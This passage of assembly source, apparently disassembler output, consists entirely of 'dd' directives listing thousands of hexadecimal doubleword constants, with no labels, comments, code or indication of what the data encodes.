		dd 29587995h, 5B081372h, 0D0221F4h, 137E90Bh, 44E2E31Ah
		dd 52860C92h, 350DE34Bh, 0BA7790ADh, 0FF25776Ch, 8F0CD80Ch
		dd 7E90284Bh, 3965C681h, 0C6F042Fh, 4B083400h, 0D031E95Dh
		dd 305B2883h, 0C3CD5AD9h, 0A6F88B75h, 4E569E7Fh, 0B35AD664h
		dd 0AF0F04DEh, 0CFC151C8h, 0BE02C1B4h, 8D56F8Ch, 164B8409h
		dd 0C63FC314h, 510C84D4h, 9B4DE1E9h, 40754EE1h,	2021C20h
		dd 2053F181h, 14610A52h, 5CA637Ah, 0EED38FEh, 0EAC068C2h
		dd 2666C41h, 1C4CF281h,	0CF414BEFh, 41C4583Dh, 381604Ch
		dd 0D85FEEB9h, 1F42722h, 6CF7C3C6h, 165726D7h, 5F380705h
		dd 0C04DA5C2h, 962656Ah, 0DD090E66h, 0EC966384h, 0B85000E9h
		dd 4CBA129Ah, 3CE0032Dh, 0BB3526F7h, 0D47D87B9h, 450EF805h
		dd 62C70158h, 5002EF83h, 6316EE4h, 0A6708DD7h, 0B76275B2h
		dd 0AC86D106h, 4254C484h, 0C86CDCE9h, 0B62FB157h, 0A0F6649Dh
		dd 0B2135245h, 86C466E1h, 2580E053h, 2E5C27F2h,	584047E7h
		dd 939A4AE9h, 17286814h, 290D890Dh, 979C527h, 0CA66C731h
		dd 58EE7DF1h, 0C19E139Bh, 0C5587332h, 4FE984ABh, 403CBD39h
		dd 16CB0496h, 667D506Fh, 43873C5Ah, 704EFDF8h, 0F252B888h
		dd 84579A1Ch, 0B574F62Eh, 77200D09h, 95A4CBCh, 6558DFF8h
		dd 2C9780F6h, 12BA0EFCh, 48B6D1Eh, 0E9073114h, 748190E8h
		dd 0C8789E90h, 292E8B92h, 0D369BBC0h, 0A51B1F28h, 0D09005E6h
		dd 5BB6DBB2h, 5A230A98h, 5334032Dh, 0F0296F99h,	89A4943Fh
		dd 1411B8Fh, 8C16F590h,	0B7C3DEh, 65B09B10h, 5F2B2D90h
		dd 0C74BA426h, 24070514h, 0CC421359h, 27EE2B17h, 0BF8919A4h
		dd 48AF25D1h, 0D040408Ch, 0A5B40150h, 0E6804BB6h, 0A335700Ch
		dd 5CC9FE73h, 41D4C942h, 0BA05E720h, 0F9871B0Dh, 0E0D1064Fh
		dd 551D34FAh, 7AAA381Eh, 817296h, 0AC20F828h, 107C6598h
		dd 505DC85Eh, 0A1662158h, 0BD811CB8h, 0B75F3F05h, 2DEC4264h
		dd 88B0782h, 1D843244h,	445B6810h, 32BD2D5Ah, 0E58CD6BBh
		dd 58840105h, 0D8017C96h, 5B07422Dh, 68C39174h,	5EA3950Ah
		dd 802E6D26h, 0AA78D6B8h, 0E848C13Bh, 6ABF10F1h, 0E525D148h
		dd 335ADD02h, 0BF4CC6A2h, 5178290Bh, 0D2E9E28Bh, 602508C8h
		dd 0DD9121Ch, 4549B040h, 2EFE3527h, 998E331h, 0E7596A6Eh
		dd 423ECBCFh, 210D8032h, 2C15DDFCh, 317DCA29h, 80DAE1C7h
		dd 0B582C223h, 4A899033h, 0E54537D5h, 0E93B88EEh, 0C4BEF427h
		dd 0C0F6AEBEh, 68575034h, 54041339h, 41F1E902h,	0D48478D5h
		dd 0AA82E7E4h, 0D6FE40F7h, 0AC0CC561h, 1283453h, 0E9E1B4BEh
		dd 2961242Ah, 0D85DEA39h, 0D84C7677h, 0A36802EDh, 7C5FA901h
		dd 1F3682Bh, 5579C0E4h,	89F13029h, 16CAEF50h, 7721C740h
		dd 0FCC324CAh, 0A86861F3h, 76322B20h, 9048506Dh, 81FD12F7h
		dd 5FD6A4EDh, 55E419B7h, 64629672h, 5200D266h, 0F7BC6BAh
		dd 0D08962BEh, 0B93D8CA4h, 28D538E4h, 0D72082F3h, 781EC7Bh
		dd 71A68BEFh, 0A0BBC5BFh, 3105AD54h, 525756D8h,	0CC25080h
		dd 0F71A24C5h, 0A0C6015Bh, 0F0896B54h, 775C06E9h, 0D4FFA3A9h
		dd 0B2366AA5h, 71FD124Eh, 286F7417h, 5A4900Dh, 2FE11640h
		dd 5B047AD1h, 0C58107Fh, 5EF10109h, 10B04B90h, 1EADBA80h
		dd 8C42693Dh, 0CB955083h, 7C0D430Bh, 3D18679h, 30480C12h
		dd 0AB0C0C5Eh, 119051Fh, 0F7EBF301h, 996C1FFFh,	0D5DD5214h
		dd 861E70D2h, 78096316h, 1A575268h, 3C35561Fh, 0E9AD02CFh
		dd 69767D11h, 0BE801692h, 1C57FEBDh, 0C0F760DDh, 485FC581h
		dd 0F0A10DBEh, 76B6D86Ah, 4517D5FCh, 22C6EFE9h,	2857EA0h
		dd 0D9898DA7h, 0AB901C8Bh, 0B3A2C821h, 0E958CB56h, 0AD4A40BDh
		dd 51682D0Eh, 78D77EE6h, 0A1B93F4Eh, 8193DCEAh,	6D25A8EFh
		dd 0D9293205h, 0C52317Ch, 40E75D5Dh, 4CBE0EF8h,	13F87B88h
		dd 31384A58h, 0DF9D8CEAh, 0DC09EEB7h, 0A11C41h,	0DD5EE635h
		dd 0A0E9BE23h, 0CFFCF708h, 0F63D18E0h, 6FC02A1Bh, 2651A532h
		dd 40285601h, 650DA1D7h, 5E61E917h, 0BE136D24h,	2E5891E1h
		dd 1D8E9857h, 0A4269022h, 0C54E1294h, 0CDA60110h, 0FABD64E7h
		dd 2F5701E1h, 0F1680570h, 0A559B94Fh, 2C554E11h, 5F541D0Eh
		dd 112E4DC9h, 70FCCDD9h, 2592973Eh, 9F198C0h, 5564319Eh
		dd 5D24CAF9h, 0A1C5259Bh, 0F913E99Ch, 0FC7F940h, 5C017B3Bh
		dd 0E10778C1h, 0BBEA65A9h, 7AC9E900h, 5260B311h, 4AA89BEh
		dd 9CFE8ADh, 0CBE95559h, 10B57D58h, 81BBF424h, 0E7A77059h
		dd 46CB9295h, 5D22B52Ah, 6604E621h, 0CE3B6283h,	15809D2Fh
		dd 36A50942h, 9D0B4D80h, 0D8888892h, 0A4C7926Ch, 3737E9D8h
		dd 0F00244DBh, 33BEDA66h, 0E82F0A4Bh, 80ADB5BDh, 0D6C46F46h
		dd 4CF3298Ah, 0AE48C35Eh, 1E9C60Fh, 0C17D2116h,	0B34B2422h
		dd 0E3C04B00h, 0FEDBF608h, 0F38009CBh, 7A80049Eh, 17B652D8h
		dd 6C1B2EB7h, 0EC8806DEh, 207B90F6h, 58137485h,	7BE2DF87h
		dd 0F5EA8113h, 0DE0F21F3h, 0FC1FD009h, 0BEAB0FF6h, 0F3213A1Fh
		dd 2A3FD4E9h, 0F8853127h, 6A30A4F1h, 72DD414Fh,	7C09967Dh
		dd 7AB1E207h, 0BC1820C7h, 0B74A595Ah, 53809072h, 80EEB151h
		dd 888E28F1h, 90C7ECBCh, 1D192069h, 535B6601h, 0FE087AB7h
		dd 0C1C692DBh, 0F0BF0406h, 67F38896h, 0C4C3E7BFh, 0E731D430h
		dd 66D31020h, 1564681Bh, 223E3A9h, 541A4254h, 0E90F4CFBh
		dd 2000905Fh, 0E36B7CB8h, 0E0C11660h, 5260007h,	24594D18h
		dd 2D9F009Dh, 0F9951C74h, 12A54730h, 1E72AE79h,	850397Ch
		dd 51685858h, 0D5EE9565h, 839F6311h, 31270C7Eh,	0BBEFC406h
		dd 0DE860BE7h, 4950094Ah, 0CE49352Fh, 0A7289298h, 7BCAA58Fh
		dd 0E99C44C8h, 12BA4725h, 0BC3585CBh, 0F682B702h, 0DFB986D6h
		dd 840FF06h, 0B0F4889Ah, 0D50B24CAh, 0A13C900Bh, 0EE6002EDh
		dd 263D1241h, 7946027Ch, 85604547h, 5CA03C96h, 0D052AD4h
		dd 2C875B1Dh, 0B3085213h, 0BD55002Eh, 59EB137Ch, 605230C2h
		dd 0CDB880CAh, 7C6C44FAh, 0EFF50663h, 24466D4Eh, 2A82B309h
		dd 0D174D010h, 2D03A9A1h, 186B17B1h, 5C00D8F3h,	46134315h
		dd 0A827BFE9h, 96B9BCB5h, 0B45C4508h, 5E3C067Eh, 85452CB6h
		dd 8249424Fh, 52250F34h, 534E897h, 5C6F3F5Dh, 68C05185h
		dd 0BDC8285Ah, 485058Eh, 0F5E35026h, 3E38B4B4h,	9532A40h
		dd 1F1BB66h, 29490357h,	850B1F31h, 0E439854h, 30FDF8C3h
		dd 0E924DD9Ah, 684116CAh, 737A20B7h, 0E3254B51h, 2EB8464h
		dd 0B113C0E4h, 0A1EA01E0h, 6BB04476h, 230A0744h, 0C7835803h
		dd 49E2E2Dh, 0BDC6C34Fh, 59BD1D55h, 8037521Dh, 5FF80129h
		dd 200294B8h, 0E9094F16h, 0E3CC4A62h, 0C8D8C2B7h, 14EBEFAh
		dd 0C150F22Ch, 0F85604E6h, 59C7C3DBh, 7BD52AACh, 273F6FDh
		dd 2E124D6h, 0B8202DE9h, 48082268h, 728D103h, 1A596A86h
		dd 0A25B4787h, 253145Dh, 287DAFAFh, 835A067Ah, 8255CEBh
		dd 7B84E470h, 0C17A1405h, 0E603DCEEh, 7C302D0Eh, 5607B213h
		dd 5E28FFA1h, 17E9C0Fh,	0EFB80053h, 31135570h, 0D6F6F27Fh
		dd 6E1A26B1h, 5B3FC061h, 0E4EB637Eh, 809C5EF5h,	58C30161h
		dd 59615355h, 2FBC25E8h, 0BBA0314h, 80A561FDh, 2097C24Bh
		dd 0E91F178Dh, 0BC28857Eh, 0A4A2D81Eh, 33270D6Dh, 580EE29h
		dd 5CA08808h, 0FC88239Ch
		dd 58B6B20Fh, 1F18DC1h,	59DDF821h, 0FA5EE134h, 0BA0C559Ah
		dd 0C15B3C82h, 0D98003E3h, 0DD485984h, 0AB9C090h, 28127EA4h
		dd 60CC2DCCh, 17E7A72Eh, 6F4A3664h, 0E410F1C1h,	0E1055222h
		dd 0C0230E11h, 0B951C267h, 125B6F1Bh, 8D90ADF4h, 7B88B850h
		dd 56143B1Eh, 0DBEA2E2h, 0AEDC360Dh, 48DB96CAh,	708B00F4h
		dd 99BB3E13h, 0C1EC8F13h, 0B540DFE1h, 0B05A0BB9h, 442BE98Dh
		dd 0EB7A274h, 0ABD56205h, 13DBA9AAh, 60FAA322h,	689208BEh
		dd 77A44C35h, 0ADD60770h, 0D0FD4E09h, 58169E1Ch, 1CDDE10Dh
		dd 672DEE64h, 89510762h, 0B3CB24E9h, 7D2C796Ah,	46F132Ch
		dd 72AAFF46h, 57C15634h, 83193C6Eh, 7DD9E8E9h, 11B02528h
		dd 0D2E97F93h, 377242h,	72E2BE13h, 365AD731h, 0A7CDFA89h
		dd 784A884Fh, 0E09FB6F0h, 0A1C5E3CBh, 2F2CE8AFh, 7B19B1BEh
		dd 31F127D3h, 57C26410h, 6D32527Eh, 585F7445h, 407BA2D0h
		dd 0FE0659AAh, 0F8754977h, 5C3EA492h, 0DD137DB3h, 0BD010B4Eh
		dd 7381B7D3h, 0E7F9CA09h, 0CC4A9E78h, 4595DD1Fh, 2F1AAF0Fh
		dd 0E905CC74h, 89205CFEh, 3F391A02h, 0FAB0591Bh, 0AA245312h
		dd 5A89443Fh, 652FEC1Eh, 0EA4527B9h, 8792B924h,	0AA7F87F4h
		dd 4BFAC1C4h, 5C2F06A8h, 0F820F550h, 685E4BDCh,	50D659BAh
		dd 220E8E5Fh, 1F8F52FAh, 1AB6464Ch, 24683751h, 0D061B56Dh
		dd 3DB866F9h, 4B8D175Eh, 0D27383FCh, 15521EF3h,	2912F179h
		dd 2028A1F8h, 216A933h,	0C3533141h, 4203E8Dh, 5C99FE52h
		dd 20200778h, 6F456806h, 605453BDh, 0CB81E1EBh,	3F3B73DAh
		dd 0B6F3027Ah, 70F15DE5h, 0D87F2E7Ah, 0B899E48Ah, 0C427591Fh
		dd 19944825h, 7F8AA65h,	1B7BF0D3h, 58893C40h, 0E13879D3h
		dd 851140DAh, 5E03586Ah, 311B6BB6h, 5C02B406h, 7FDA0966h
		dd 5982B5E4h, 5453057Ch, 93DCF95Bh, 70046213h, 8F0BCD62h
		dd 3D7E3606h, 8237B1BDh, 0C2299250h, 0C90B0558h, 0B1D5840Fh
		dd 0B62C7B54h, 0C9174E4Fh, 7F366736h, 0F2DF3B0Eh, 62E0A9E4h
		dd 6E9A550Ch, 0D6114EBh, 59545140h, 468D9859h, 750442B5h
		dd 58080378h, 0F9D90E4Bh, 88BB54A7h, 68556001h,	3BE622F2h
		dd 0BF5EA60h, 14754B76h, 2585AA80h, 18C14852h, 0E7297FCEh
		dd 2FE9FF60h, 0AC9105FAh, 0C36E425Bh, 68658551h, 56468D32h
		dd 499A2115h, 71C01E81h, 0C148816Dh, 65B47653h,	1617F1D8h
		dd 0CD6A21E8h, 0E2C3410Fh, 13983D6Eh, 0F08C709Fh, 7B544955h
		dd 208CA392h, 18AB001h,	7CEC485Ch, 462B4E9h, 0EF7E7181h
		dd 140A346Eh, 70422195h, 175E680Bh, 0E9617AF1h,	4080BD4Ch
		dd 0CDC92D5Dh, 295C9563h, 176C16D3h, 4F7979F3h,	0FE0003C2h
		dd 7ABA80CAh, 45A79E1h,	3854FFCh, 1028A91Dh, 8E60CC77h
		dd 6E0D1470h, 3886554Ch, 69207536h, 37F2C789h, 4215723Eh
		dd 818A6E5Ch, 0B909F9CAh, 7F7021h, 0CD04E07Bh, 69E9D509h
		dd 0FE2DC295h, 0E85DC572h, 12E9A18Bh, 8A13842Ah, 48064297h
		dd 0DE44C69Ah, 490095B9h, 481D20EBh, 955D5B3Fh,	82E02A09h
		dd 0FC77A368h, 0E1446434h, 17746AFAh, 0F15630A2h, 9607A340h
		dd 3358062h, 0C5812DD9h, 0D1303277h, 7F8C0C7Ch,	71074817h
		dd 0C1B7F100h, 0F69BE9B1h, 812CAACFh, 14685A66h, 0F573BDBh
		dd 5E608F5Eh, 2F34215Fh, 8082CDB1h, 43EB0A42h, 0C281BB56h
		dd 1308606h, 0BBE98653h, 80340F46h, 0C7057EF3h,	22FCFB5h
		dd 0E907EEC1h, 4C04CABFh, 0E8BB0518h, 56E74Eh, 0C15702FFh
		dd 0D31D014Ah, 36AC76E9h, 0F8AB987h, 0CD31874Fh, 8AB190D5h
		dd 5F658A2Ah, 882E18D9h, 0B241EAC7h, 0C34A74E5h, 68369D4Eh
		dd 5801E535h, 3A955C35h, 17A5DB61h, 9A761062h, 8967B799h
		dd 493886AFh, 6C036850h, 583FF547h, 2D0DBE35h, 56EC601h
		dd 3BD96620h, 73A45550h, 32D2B225h, 72B2A9C1h, 49C9D3C4h
		dd 84212F20h, 5168D0C2h, 0F0C5E63Fh, 9743418Fh,	0DF622086h
		dd 3149E8DFh, 0F2FDE4EFh, 9FDC56EDh, 4092592Eh,	4331622Dh
		dd 0BD8A635Bh, 0F285522Fh, 0A04DF002h, 0F9593167h, 0C251CF52h
		dd 263EDB37h, 33BF1731h, 7E255648h, 0BCA56620h,	0CD14E992h
		dd 2631D580h, 0F76CDF1Ch, 3518EFE4h, 5521E911h,	48208D1Ch
		dd 0A05634Ch, 15B60EEBh, 0E92AEF09h, 0BD32C1D3h, 2E076AF4h
		dd 3E4D29FEh, 86B772A4h, 602EFC1h, 2F4F043Eh, 56B54218h
		dd 41EA001Ch, 31B50C2Ah, 0D8E60FB8h, 5AE95B3Dh,	0EE300781h
		dd 950C2FDCh, 0A068AC10h, 4D601D41h, 88309B29h,	8697640h
		dd 1C2FA62h, 54BE4AF7h,	12E91C60h, 1EA020E5h, 2B58DF41h
		dd 79137E4Fh, 880B43EFh, 0EEA0F1CAh, 0C25302CBh, 1CDD6805h
		dd 1B7C68Ch, 0FBF78049h, 22DF35E9h, 2F239249h, 5771ACA9h
		dd 0C9F4DF47h, 69AB0127h, 0FD2801C7h, 0D2AD9441h, 3832BB04h
		dd 2DD2760Ch, 3C10C3C7h, 55FE7216h, 9D4E3F66h, 7EB16142h
		dd 8283A32Ch, 0E925635Ah, 642DEA80h, 1A54206Ah,	0CB4EB7B9h
		dd 0AA2014EFh, 9600574Eh, 7832610Bh, 0A5DE148Bh, 1792DB29h
		dd 18BDB27Dh, 90EF73C6h, 5CAC0B0h, 52836A70h, 0F98D5D4Bh
		dd 34E9FA64h, 12C31B13h, 291805A1h, 596C8A03h, 0E8D7C928h
		dd 0D1309527h, 1B58A43Fh, 6F10EBA1h, 1A8D2630h,	0E412507Ch
		dd 0F99990B0h, 7EE9430h, 4D65BB5Eh, 206099E9h, 4A120EBFh
		dd 0E30905A0h, 8C6DD128h, 5E1063D7h, 0AE2547B1h, 0C3DA86Eh
		dd 93CEAD66h, 6397B892h, 9FC2CD04h, 613DEBCh, 64DEF87h
		dd 4F606DF4h, 0B76E2F7h, 4A7B26CBh, 3B61000Dh, 0A6E936C9h
		dd 0F0506AEDh, 1FDD3889h, 0A44C7029h, 0B85C52B4h, 0E04CE4E8h
		dd 0B55101F0h, 78C58062h, 2C812FC0h, 0CD132775h, 3FD224E0h
		dd 314DF0F6h, 367584B0h, 47C471B8h, 0E16CCDE8h,	0FE1046E3h
		dd 80B76848h, 0E9E8015Dh, 8CC05F71h, 0CC1FBF28h, 0ECF2EEA4h
		dd 5993683Fh, 5A3AEE52h, 253D1B0h, 0EB9F9224h, 0F3052DA2h
		dd 0C107E4B6h, 2B5BDFECh, 54AE2F44h, 0AD4933D9h, 0E3E4F605h
		dd 0C7428E5Fh, 2B65126h, 72632DA4h, 0B80F2970h,	42235E89h
		dd 795607E9h, 0A186925Bh, 4C292B44h, 961E19F8h,	174050C5h
		dd 0D4EF33C0h, 4832BD0Ch, 6682B258h, 279AF9F7h,	0E9278E44h
		dd 9BCC0A60h, 9C01C30Dh, 4C2648E4h, 0E7009D2Fh,	947E807h
		dd 68905EF0h, 0DD775307h, 239F758h, 0E6593964h,	88510759h
		dd 455253C5h, 8FC2B2EAh, 24D08C50h, 49F6B058h, 8F9F0109h
		dd 0F7E353EEh, 0A89C8EE9h, 0E7BF8134h, 0E920DD18h, 0E95F08FBh
		dd 0AD1D10B5h, 0E8E61589h, 0E596679h, 9A347824h, 4CE96818h
		dd 0FC3A769Eh, 4464AE5Eh, 21441CD1h, 1A39F066h,	374FFB4Dh
		dd 0A6DDF5A9h, 268212B1h, 7E78ECA2h, 33A49755h,	2E04E1AEh
		dd 225BB361h, 96507952h, 67BF01CDh, 0E9087127h,	588352B6h
		dd 12BDEAFEh, 0D9ECC7A2h, 0B17D6884h, 0BE717EBFh, 2532F301h
		dd 4CB88F16h, 1558EAC8h, 7C69BC41h, 958C159Fh, 9DC20114h
		dd 8AF11F2Ch, 4A7D1333h, 34503B14h, 103132F8h, 0B140586Dh
		dd 4D81688Ah, 1B6D7C30h, 0C5AF17Eh, 784B12A0h, 5BF51AC0h
		dd 48AE79B1h, 9C10E821h, 6BC75EEEh, 0C4B2D9F1h,	0E82029C5h
		dd 0E3664EA0h, 0A99288h, 9CE46C4h, 7BD2FA31h, 0C0AB58DBh
		dd 5E7C780h, 4F6168Ch, 0CBFB20B7h, 4C916B32h, 92000C1Eh
		dd 53360577h, 5E065B56h, 0F387D6F7h, 63C80C1Ch,	0D48455CDh
		dd 69472D13h, 6FCA08h, 0E8536CBDh, 409D5651h, 21615BAh
		dd 2A88BE2Bh, 0BF583A7Dh
		dd 0A08152CEh, 1FF645B9h, 0E1E64AC1h, 91E7CFF0h, 9D090B23h
		dd 960905Ah, 0EF80C7FEh, 0CB6BBA8Fh, 485BD0C1h,	3A499BF3h
		dd 0AD041933h, 0B08243ECh, 3FEA2DD8h, 2E5E7260h, 8062F76Fh
		dd 101669B7h, 0D1FB2DE9h, 531B8E66h, 0FB77CA68h, 28BABCE2h
		dd 0E113C1C8h, 0A207DFDDh, 2079E9CEh, 59CF31E6h, 99F96121h
		dd 7254575Fh, 0B85C2A3Eh, 0F7B21B90h, 53293730h, 756F83C5h
		dd 903EF3AAh, 881F133Eh, 0E98A24DDh, 0A6BBEDF9h, 6F1503FEh
		dd 13F949BAh, 0B2944EC6h, 70948949h, 0A5E9B6BCh, 20256B95h
		dd 0E6E9D3BDh, 0EBF1BCEDh, 5D53C81Ah, 0E37CE904h, 849217E8h
		dd 0B0C4C18Fh, 0FE333E19h, 9C083ED3h, 32AC319Ah, 1A5766B2h
		dd 9790D838h, 5C161265h, 0C9D6CF89h, 0A7512973h, 206F345Ah
		dd 6C90C20Eh, 104790Fh,	0ECF1E4D5h, 8D905C0Bh, 13CCABEFh
		dd 9A904301h, 2C68EC16h, 6B4F6E0Eh, 0A421CE12h,	51069E9h
		dd 15CCE190h, 2014B895h, 312DDFC5h, 8842C5C2h, 80060323h
		dd 0A0065DC9h, 0C7543ADBh, 6284EF4Fh, 0DDE15E48h, 30AC000Bh
		dd 68660ED8h, 93986BC6h, 800448B3h, 0BE92BEBh, 3F5A2EB0h
		dd 88C85F09h, 9F0A8669h, 56591E51h, 8F78436Eh, 70C34047h
		dd 0EA83FF09h, 0DE39102h, 775F1674h, 0B3794B56h, 0D43B0265h
		dd 75DD01F9h, 0B0658C09h, 58C12907h, 0EB7ADCF9h, 0E9423859h
		dd 0CDC8AAFAh, 0DC562702h, 2F92559Eh, 21CFCFCh,	6A14D327h
		dd 0CF096628h, 501D593h, 391216F3h, 5C0842Eh, 532FE907h
		dd 90B2E186h, 7240306h,	40E200EEh, 0CA31C343h, 0E7CA595Ah
		dd 680B6742h, 0EDB0126Ch, 48633E3h, 3A4DA0BAh, 546F8416h
		dd 0F22859CAh, 0BF45FF1h, 4519874Ch, 10FD6D01h,	5848AA9Fh
		dd 37239405h, 0CBB7C05Dh, 0FB776B01h, 2D635748h, 5FEF3AC0h
		dd 8820CC14h, 0DD4648C9h, 2B6F0676h, 10DEF73Bh,	0E7BC8C09h
		dd 69DF785Ah, 0F95BC3A3h, 4E285C8Ah, 88525111h,	8ABF5B78h
		dd 82C5022Ah, 0F69B53E3h, 0C8210B88h, 0E62DF67Bh, 4653A2A8h
		dd 66C21C01h, 80CA0258h, 0D1C2ACEAh, 5325FFF6h,	0CA3208CBh
		dd 9E058917h, 90ACD454h, 4562CB9Fh, 228BC579h, 13BB455Eh
		dd 6C6F9D59h, 4AE9B138h, 0AC465DA4h, 0C9631282h, 5F9A285Bh
		dd 31138ECAh, 8081AD0h,	0E96241D6h, 5E32E857h, 27C57801h
		dd 8672AFE4h, 47BE9C27h, 12722A94h, 0F95D5455h,	0D057F442h
		dd 2C8239h, 0C05382F4h,	58A5D873h, 3A292472h, 0DCE90407h
		dd 0F074996Bh, 70491258h, 0B9510298h, 0E2BF41A7h, 0AB807720h
		dd 0E13B4048h, 3349294Dh, 875AE322h, 506658B0h,	0FE3303B0h
		dd 2E8C0C8h, 9F0442AFh,	0DC9543h, 0D62C41B9h, 0D440E915h
		dd 2D29D3C2h, 0B54601EAh, 0F809FC5Fh, 85482954h, 0D642EC46h
		dd 0FC31A968h, 619CEA8Bh, 43C40E9h, 497967B9h, 0D1188921h
		dd 0B584CEDh, 9660F781h, 94054F0Ch, 9B808682h, 0FF88330Fh
		dd 59CB447Ch, 0ED839BD0h, 4597BC04h, 209FDE8h, 0DB34ABE1h
		dd 814606Eh, 11E50407h,	0A90CA7E9h, 5777072Fh, 14B626F9h
		dd 0DC5550C3h, 0A53A26C2h, 4FD90BEAh, 181BACC8h, 3D28E49Fh
		dd 4316BCF7h, 0F5B5202Eh, 7420A751h, 16FCB221h,	2254A210h
		dd 0FEA76D87h, 0EC7E655Dh, 0FBD84B90h, 5EF87EB0h, 0E39C1611h
		dd 462F7BCBh, 424E4AE1h, 0B0EE80ACh, 0B831DB0Eh, 58512F9Ah
		dd 109CDECh, 0C90281DAh, 913A5A4Ch, 0CAE95233h,	4C98EA70h
		dd 0C8E87B27h, 9C18F4E2h, 0B10B521Bh, 91054309h, 874AF0A1h
		dd 0C75EF577h, 81581C00h, 300F8DEAh, 780C0C39h,	7E1F3163h
		dd 51B9C229h, 140CA008h, 5409A7B1h, 0E1A9595Fh,	22B2D8E9h
		dd 23B937E4h, 66A7B7B2h, 2ADB3255h, 0D660FBF7h,	8628611Bh
		dd 9E05C537h, 68383371h, 7898C5E8h, 5116C888h, 25E129E9h
		dd 2ADD9121h, 1C7916Ah,	316D882Dh, 0BBB01FEh, 2B65CC4Dh
		dd 55B28CC0h, 0B5C4B9Dh, 0D9436F0Ch, 0D1BADFBBh, 68058D7Eh
		dd 7ECD2669h, 340E8B45h, 48F9659Bh, 71A39601h, 8E406B8Ah
		dd 7CB6663Eh, 32F2062Ch, 0C60A2547h, 0BD30D777h, 18FF0C1Bh
		dd 0B5635AC7h, 0C0806E5h, 1B401482h, 0B9146850h, 2A9E1D7Dh
		dd 314CDD8Fh, 0FB5F782Ah, 21BBD394h, 2B8D1F3h, 544EC408h
		dd 12BBB403h, 47A186Bh,	8866C41Fh, 0D41058Dh, 4876C130h
		dd 4D80B02Fh, 5644A434h, 44FAC597h, 1559E45Ch, 859D6A28h
		dd 93EEF3Eh, 2092554h, 0AFB5A8Ch, 15B200B7h, 0F6815384h
		dd 0FE49C504h, 40EA4E46h, 0F434106h, 0F0590106h, 2A995A06h
		dd 8EE40DADh, 0CA16A342h, 0DE1C8CE2h, 4554340h,	19363EBDh
		dd 1872AC42h, 0B4EB16CDh, 0F48018AFh, 30E60605h, 18CDE74Bh
		dd 0F6EC1720h, 135B76F9h, 12289FC1h, 4D02B962h,	0D1522749h
		dd 63CC25AEh, 0F4D2E912h, 5F9C2545h, 0FA7AB88Bh, 20325937h
		dd 0C458D087h, 5B5E8245h, 86C6C06Ah, 3EA61920h,	5203D5B7h
		dd 0F7287DB6h, 8B998F5Fh, 22897921h, 0B50208EAh, 680036D1h
		dd 0EF431498h, 15D7E6E9h, 513E7B15h, 0B515F8D2h, 5CC48FA8h
		dd 0C45DE84Ch, 0C5B81E9Ch, 5062794h, 0BC55542Ah, 0EA21EE96h
		dd 65BA5CC4h, 0D3C2FC0Ch, 62EBB800h, 0C1294Bh, 0CF8105EFh
		dd 7AD21AA5h, 560864C1h, 930640Ch, 0E88094A6h, 2D601EC5h
		dd 0C9A83498h, 0DFA34082h, 184B84C6h, 0A5A25C13h, 659A247Ah
		dd 68C184BFh, 0C1B5B8DEh, 2B91E954h, 83827A57h,	81A576E5h
		dd 117C59D2h, 4F122E5Eh, 0BA7D5B04h, 3000210Bh,	3108E8C1h
		dd 2FF6C85Ah, 925D5118h, 5081DDA2h, 0DCC3016Fh,	412DBC44h
		dd 0ADE7D9A9h, 8006CCAFh, 7C8CA1D2h, 0EEE9109Dh, 285A0F01h
		dd 41FD04E8h, 2FD1B3B4h, 0CD8244C5h, 0AF794367h, 2CA65218h
		dd 308BB0EEh, 0E90DFBF2h, 77CED0BDh, 4890E6DAh,	7ED1C4Fh
		dd 313C0B27h, 545B7BD0h, 60EA4C40h, 0F81CD87Ch,	99D14821h
		dd 0FB1CAAE4h, 4182BB96h, 563F425Dh, 93CB6FFAh,	0EF79C9A9h
		dd 79856841h, 0C78642Ah, 0BD1453B6h, 28D0B309h,	2CB25C10h
		dd 815F34BEh, 2C3132B0h, 0AC63C4CAh, 0A4614B1Fh, 909DD0FAh
		dd 0B2B70C82h, 0EEBB046Ch, 0C054F93Ch, 0C535EDEFh, 1EE96909h
		dd 0F03BE42Ch, 0E2524FF6h, 7A1F7236h, 0C42CF2ADh, 6425FE10h
		dd 0A4285B60h, 5F926599h, 0B29C2B21h, 43403500h, 0B32FD52Eh
		dd 0C5556CB2h, 68DCB0FDh, 14274D90h, 6B24D97Dh,	12358E04h
		dd 0D2A54EACh, 0AACA9BF5h, 0B5DB7482h, 75F36768h, 0D59833AAh
		dd 591ECD01h, 73456851h, 2FBC6254h, 0B698B320h,	70BCFCC1h
		dd 3CF42BB0h, 81C796FBh, 5F41DDF6h, 9F05603Fh, 39298010h
		dd 1C96CB4Ah, 0E0DC03E8h, 0AC2D0DF0h, 0D5AB0269h, 58204709h
		dd 0F02CCE80h, 293D7FFFh, 795B2D5Fh, 0FEE989D1h, 32B73258h
		dd 0CCCB89C0h, 1A70B373h, 75C562E9h, 0D0A89722h, 8D326626h
		dd 5707980Bh, 59ABC182h, 2C77FF01h, 0CFA336E0h,	42C5477Ah
		dd 2BDF2D4Eh, 8705FB16h, 9D803CC4h, 9CA17D3Dh, 81EF1D5Ch
		dd 79E9498Ah, 0CF339334h, 5F21D62Ch, 94F2CF8h, 0E2D1C206h
		dd 907F1E68h, 54EB409Dh, 0EC692C9Ch, 0EA882270h, 0C141F194h
		dd 4AF805E2h, 48A7B713h, 0CB4FBE89h, 829446Bh, 82FDAFD8h
		dd 1696F5EBh, 90EF013h,	0CDE8CBBEh, 68171D70h, 678C3CF9h
		dd 6B503ED6h, 6C1A0503h, 90AF4DC0h, 294AC302h, 0EDE9F018h
		dd 13A5BD5Bh, 1716E6Ch,	0FE657C47h, 0F6D03A45h,	200D4920h
		dd 0E9132952h, 0FC55F5C5h, 0F38101B2h, 1E7450E4h, 5FD5930h
		dd 29192722h, 0CF0C4DAh
		dd 0DB0E5B08h, 6BAA060Fh, 0C2EBA01h, 5AD1C08h, 0E9278524h
		dd 8E6DB5FAh, 0A91B78CCh, 0E95FB009h, 18C359BAh, 984F61Ch
		dd 5F093295h, 0C3E0084Bh, 0C93178CBh, 35A9C87Eh, 2DE944DCh
		dd 6DE44974h, 51D82807h, 73D472B1h, 674F0CB8h, 0BC6CC440h
		dd 96145970h, 1E5986BCh, 0CFB4FDD2h, 0D4D3B12Dh, 704ABC0h
		dd 0D8DDC19h, 0E93CDDE1h, 84FDEB51h, 0BA12A929h, 0F19BA832h
		dd 4224D7E9h, 0BEE3B75Dh, 5BB9ECF4h, 809790A6h,	4B5BE938h
		dd 0F5586D92h, 0ADCD0258h, 0DE23901Dh, 0B4853D2Bh, 95CE84B0h
